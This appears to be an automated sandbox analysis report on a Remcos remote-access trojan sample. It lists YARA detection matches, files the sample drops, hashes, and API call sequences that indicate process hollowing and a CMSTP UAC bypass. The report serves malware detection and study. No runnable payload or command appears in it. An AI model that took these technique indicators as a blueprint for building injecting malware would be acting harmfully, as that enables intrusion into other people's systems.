Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000006.00000001.2139650597.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 0000000A.00000001.2293209618.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: REMCOS_RAT_variants Author: unknown
Source: 00000010.00000001.2559054856.0000000000400000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 00000006.00000001.2139650597.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000010.00000001.2559054856.0000000000AC0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: 00000010.00000001.2559054856.0000000000490000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: udVh4Ist4Z.exe PID: 2056, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: nmfsxfjX.pif PID: 5000, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: nmfsxfjX.pif PID: 6400, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: Process Memory Space: nmfsxfjX.pif PID: 2420, type: MEMORYSTR	Matched rule: Windows_Trojan_Remcos_b296e965 Author: unknown
Source: C:\Users\Public\Libraries\XjfxsfmnO.bat, type: DROPPED	Matched rule: Koadic post-exploitation framework BAT payload Author: ditekSHen

PE file contains section with special chars

Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .
Source: netutils.dll.0.dr	Static PE information: section name: .

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D7C3F8 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_02D7C3F8
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D7C368 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	0_2_02D7C368
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D7C4DC RtlDosPathNameToNtPathName_U,NtOpenFile,NtQueryInformationFile,NtReadFile,NtClose,	0_2_02D7C4DC
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D77AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,	0_2_02D77AC0
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D77968 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	0_2_02D77968
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D77F48 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_02D77F48
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D7C3F6 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	0_2_02D7C3F6
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D77966 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	0_2_02D77966
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D77F46 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	0_2_02D77F46
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_004132D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,CloseHandle,CloseHandle,CloseHandle,	6_1_004132D2
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0041BB09 OpenProcess,NtSuspendProcess,CloseHandle,	6_1_0041BB09
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0041BB35 OpenProcess,NtResumeProcess,CloseHandle,	6_1_0041BB35
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 8_2_02DAC4DC NtOpenFile,NtReadFile,	8_2_02DAC4DC
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 8_2_02DA7968 NtAllocateVirtualMemory,	8_2_02DA7968
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 8_2_02DA7F48 CreateProcessAsUserW,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,Wow64SetThreadContext,NtResumeThread,	8_2_02DA7F48
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 8_2_02DA7966 NtAllocateVirtualMemory,	8_2_02DA7966
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 8_2_02DA7F46 CreateProcessAsUserW,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,Wow64SetThreadContext,NtResumeThread,	8_2_02DA7F46
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_004132D2 OpenProcess,NtQueryInformationProcess,GetCurrentProcess,DuplicateHandle,GetFinalPathNameByHandleW,CloseHandle,CreateFileMappingW,MapViewOfFile,GetFileSize,UnmapViewOfFile,CloseHandle,CloseHandle,CloseHandle,	10_1_004132D2
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0041BB09 OpenProcess,NtSuspendProcess,CloseHandle,	10_1_0041BB09
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0041BB35 OpenProcess,NtResumeProcess,CloseHandle,	10_1_0041BB35
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 15_2_02E3C4DC RtlDosPathNameToNtPathName_U,NtOpenFile,NtReadFile,NtClose,	15_2_02E3C4DC
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 15_2_02E37AC0 LoadLibraryW,GetProcAddress,NtWriteVirtualMemory,FreeLibrary,	15_2_02E37AC0
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 15_2_02E37968 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	15_2_02E37968
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 15_2_02E37F48 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	15_2_02E37F48
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 15_2_02E3C3F6 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	15_2_02E3C3F6
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 15_2_02E3C3F8 RtlDosPathNameToNtPathName_U,NtCreateFile,NtWriteFile,NtClose,	15_2_02E3C3F8
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 15_2_02E3C368 RtlInitUnicodeString,RtlDosPathNameToNtPathName_U,NtDeleteFile,	15_2_02E3C368
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 15_2_02E37966 GetModuleHandleW,GetProcAddress,NtAllocateVirtualMemory,	15_2_02E37966
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 15_2_02E37F46 CreateProcessAsUserW,GetThreadContext,Wow64GetThreadContext,NtReadVirtualMemory,NtUnmapViewOfSection,NtWriteVirtualMemory,NtWriteVirtualMemory,SetThreadContext,Wow64SetThreadContext,NtResumeThread,	15_2_02E37F46

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe

Code function: 0_2_02D7CA6C CreateProcessAsUserW,WaitForSingleObject,CloseHandle,CloseHandle,

0_2_02D7CA6C

Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,		6_1_004167B4
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_004167B4 ExitWindowsEx,LoadLibraryA,GetProcAddress,		10_1_004167B4

Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B6265E	0_3_02B6265E
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B60719	0_3_02B60719
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B61362	0_3_02B61362
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B6134B	0_3_02B6134B
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B610BD	0_3_02B610BD
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B614BD	0_3_02B614BD
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B604A9	0_3_02B604A9
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B6049D	0_3_02B6049D
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B60485	0_3_02B60485
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B620F2	0_3_02B620F2
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B610D5	0_3_02B610D5
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B610C9	0_3_02B610C9
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B614C9	0_3_02B614C9
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B60425	0_3_02B60425
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B6102E	0_3_02B6102E
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B62018	0_3_02B62018
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B60419	0_3_02B60419
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B60000	0_3_02B60000
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B6040D	0_3_02B6040D
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B61045	0_3_02B61045
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B609B0	0_3_02B609B0
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B609BC	0_3_02B609BC
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B609A4	0_3_02B609A4
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B611EA	0_3_02B611EA
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B601DE	0_3_02B601DE
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B61531	0_3_02B61531
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B6153D	0_3_02B6153D
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B60D38	0_3_02B60D38
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B62953	0_3_02B62953
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_3_02B61549	0_3_02B61549
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: 0_2_02D620C4	0_2_02D620C4
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0043E0CC	6_1_0043E0CC
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0041F0FA	6_1_0041F0FA
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00454159	6_1_00454159
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00438168	6_1_00438168
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_004461F0	6_1_004461F0
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0043E2FB	6_1_0043E2FB
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0045332B	6_1_0045332B
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0042739D	6_1_0042739D
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_004374E6	6_1_004374E6
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0043E558	6_1_0043E558
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00438770	6_1_00438770
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_004378FE	6_1_004378FE
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00433946	6_1_00433946
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0044D9C9	6_1_0044D9C9
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00427A46	6_1_00427A46
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0041DB62	6_1_0041DB62
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00427BAF	6_1_00427BAF
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00437D33	6_1_00437D33
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00435E5E	6_1_00435E5E
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00426E0E	6_1_00426E0E
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_0043DE9D	6_1_0043DE9D
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00413FCA	6_1_00413FCA
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 6_1_00436FEA	6_1_00436FEA
Source: C:\ProgramData\Remcos\remcos.exe	Code function: 7_2_004057B8	7_2_004057B8
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 8_2_02D920C4	8_2_02D920C4
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0043E0CC	10_1_0043E0CC
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0041F0FA	10_1_0041F0FA
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00454159	10_1_00454159
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00438168	10_1_00438168
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_004461F0	10_1_004461F0
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0043E2FB	10_1_0043E2FB
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0045332B	10_1_0045332B
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0042739D	10_1_0042739D
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_004374E6	10_1_004374E6
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0043E558	10_1_0043E558
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00438770	10_1_00438770
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_004378FE	10_1_004378FE
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00433946	10_1_00433946
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0044D9C9	10_1_0044D9C9
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00427A46	10_1_00427A46
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0041DB62	10_1_0041DB62
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00427BAF	10_1_00427BAF
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00437D33	10_1_00437D33
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00435E5E	10_1_00435E5E
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00426E0E	10_1_00426E0E
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_0043DE9D	10_1_0043DE9D
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00413FCA	10_1_00413FCA
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: 10_1_00436FEA	10_1_00436FEA
Source: C:\ProgramData\Remcos\remcos.exe	Code function: 12_2_004057B8	12_2_004057B8
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: 15_2_02E220C4	15_2_02E220C4

Source: Joe Sandbox View	Dropped File: C:\ProgramData\Remcos\remcos.exe 7BCDC2E607ABC65EF93AFD009C3048970D9E8D1C2A18FC571562396B13EBB301
Source: Joe Sandbox View	Dropped File: C:\Users\Public\Libraries\easinvoker.exe 30951DB8BFC21640645AA9144CFEAA294BB7C6980EF236D28552B6F4F3F92A96

Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: String function: 02E26658 appears 32 times
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: String function: 02D94824 appears 628 times
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: String function: 02E24698 appears 156 times
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: String function: 02E24824 appears 628 times
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: String function: 02D96658 appears 32 times
Source: C:\Users\Public\Libraries\Xjfxsfmn.PIF	Code function: String function: 02D94698 appears 156 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 00402213 appears 38 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 004052FD appears 32 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 00434E10 appears 108 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 0040417E appears 46 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 00402093 appears 100 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 00434770 appears 82 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 00401E65 appears 70 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 00401FAB appears 40 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 00411F67 appears 32 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 004020DF appears 40 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 00457A28 appears 34 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 004484CA appears 36 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 004458D0 appears 56 times
Source: C:\Users\Public\Libraries\nmfsxfjX.pif	Code function: String function: 004046F7 appears 34 times
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: String function: 02D66658 appears 32 times
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: String function: 02D64698 appears 247 times
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: String function: 02D77BE8 appears 45 times
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: String function: 02D644A0 appears 67 times
Source: C:\Users\user\Desktop\udVh4Ist4Z.exe	Code function: String function: 02D64824 appears 882 times
Source: C:\ProgramData\Remcos\remcos.exe	Code function: String function: 0040A6C4 appears 136 times

Source: netutils.dll.0.dr

Static PE information: Number of sections : 19 > 10

Source: udVh4Ist4Z.exe	Binary or memory string: OriginalFilename vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000002.2148072025.0000000002C60000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000002.2162661886.000000001517D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014010000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014087000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000003.2133857707.000000007EC30000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000002.2159718541.0000000014027000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000003.2134174462.000000007F130000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000003.2134401693.0000000014E81000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameeasinvoker.exej% vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000002.2164505555.000000007F180000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTruesight4 vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000002.2149075282.0000000002D8B000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000003.2138564063.0000000014E9E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs udVh4Ist4Z.exe
Source: udVh4Ist4Z.exe, 00000000.00000003.2138564063.0000000014F00000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameLOADER.EXEB vs udVh4Ist4Z.exe

Source: udVh4Ist4Z.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 10.1.nmfsxfjX.pif.400000.3.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 16.1.nmfsxfjX.pif.400000.1.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
Source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: REMCOS_RAT_variants Description = Detects multiple variants of REMCOS seen in the wild. Created by modifying and combining several of Florian\'s recent REMCOS ruleset. This rule aims for broader detection than the original ruleset, which used separate rules for each variant. If you do decide to break it into individual rules, the YARA strings variable names are grouped by the REMCOS variant type., Website = https://www.deadbits.org, Date = 2019-07-18, Repo = https://github.com/deadbits/yara-rules, Author = Adam M. Swanda
Source: 6.1.nmfsxfjX.pif.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM author = ditekSHen, description = Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003)
Source: 10.1.nmfsxfjX.pif.400000.3.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Remcos_b296e965 reference_sample = 0ebeffa44bd1c3603e30688ace84ea638fbcf485ca55ddcfd6fbe90609d4f3ed, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Remcos, fingerprint = a5267bc2dee28a3ef58beeb7e4a151699e3e561c16ce0ab9eb27de33c122664d, id = b296e965-a99e-4446-b969-ba233a2a8af4, last_modified = 2021-08-23
